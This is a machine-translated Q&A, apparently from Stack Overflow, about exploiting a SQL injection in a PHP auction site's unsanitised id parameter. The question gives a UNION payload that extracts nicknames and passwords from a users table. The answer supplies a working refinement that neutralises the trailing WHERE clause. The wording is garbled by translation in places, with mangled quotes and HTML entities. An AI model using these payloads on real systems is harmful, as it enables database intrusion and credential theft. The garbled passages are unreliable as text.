晚上好, 我的一个伙伴有一个从一些二流开发者开发的网站,现在我的任务是清理他们的工作。我试图向他展示他们创造的一些问题。在他的代码中,有这个确切的块:
$id = $_REQUEST['id'];
//echo time();
$query = "SELECT cat_id,id,category,title,description,pict_url,minimum_bid,ends,cat_name,quantity,flag
FROM " . $DBPrefix . "categories INNER JOIN ". $DBPrefix . "auctions
ON vesp_categories.cat_id=vesp_auctions.category where id=".$id."
AND starts <= ".time()." AND suspended = 0";
(我知道,对吧?)
多个查询是不可能的 - 正在使用mysql_query,而不是指示使用多个查询。我可以做一个工会:
?id=143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1-- -
但'AND start&lt; =“。time()的事实。” AND suspended = 0“'在新行上,打破了注释字符的效果,只返回一个mysql错误”你的SQL语法中有错误;查看与您的MySQL服务器版本对应的手册,以便在第4行“AND starts&lt; = 1365321338 AND suspended = 0”附近使用正确的语法“
如果我删除查询中的换行符,它的效果很好,但是有足够权限编辑他的PHP的攻击者可能不会为SQL注入烦恼
我的约束是否有解决新线/注释问题的方法?或者有人可以提出合适的替代方案吗?
PHP&gt; = 5.2 / MySQL
答案 0 :(得分:3)
您需要确保注射仍然创建有效的声明。因此,您可以使用另一个UNION SELECT来修复剩余的语句部分:
143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1 union select * from (select null start,null suspended,null,null,null,null,null,null,null,null,null) t where 1=0
注意在子查询中指定匹配的列名,以便找到父WHERE
子句中的列名。
如果您不需要LIMIT
子句,则可以在首次注入SELECT
时执行相同的修复。